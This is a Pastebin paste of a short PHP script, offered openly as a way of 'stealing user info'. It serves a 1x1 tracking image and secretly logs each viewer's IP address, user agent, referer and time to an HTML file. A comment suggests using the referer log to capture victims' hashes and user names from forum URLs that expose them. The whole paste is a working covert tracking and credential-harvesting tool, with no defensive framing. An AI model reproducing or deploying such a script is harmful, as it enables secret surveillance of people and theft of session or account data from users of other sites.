Advertisement
Kyfx

Stealing User Info with PHP Images

Jun 20th, 2015
385
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.00 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. .:Made by t3hmadhtt3r -- [email protected]:.
  5. .:Please don't share! Keep this quiet!:.
  6. .:Please be safe:.
  7. .:Enjoy!:.
  8. */
  9.  
  10. // Defining Variables
  11.  
  12. $IP = $_SERVER['REMOTE_ADDR']; // Saves the IP
  13. $UA = $_SERVER['HTTP_USER_AGENT']; // Saves the User Agent
  14. $RE = $_SERVER['HTTP_REFERER']; // Saves the Referer
  15. $DATE = date('l jS \of F Y h:i:s A');
  16. $DATA = '<p>IP: '.$IP.'<br/><p>User Agent: '.$UA.'<br/><p>Referer: '.$RE.'<br/><p>Date: '.$DATE.'<br/><br/><br/>';
  17.  
  18. /*PS: Try using the referer logging feature to exploit forums and sites that keep useful info in the URL. Example: HTTP://WWW.LAMESITE.COM/POST.PHP?ID=4&HASH=(THE VICTIMS MD5 HASH)&USER=t3hmadhatt3r*/
  19.  
  20. // Writing the logs
  21.  
  22. $fp = fopen('Cool_Huh?.html', 'a');
  23. fwrite($fp, $DATA);
  24. fclose($fp);
  25.  
  26. // Behold the mighty GD Library ^_^
  27.  
  28. header("Content-type: image/png");
  29. $img = ImageCreate (1, 1);
  30. $bg = ImageColorAllocate ($img, 0, 0, 0);
  31. $txt = ImageColorAllocate ($img, 0, 0, 0);
  32. ImagePng($img);
  33.  
  34. // Later...
  35. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement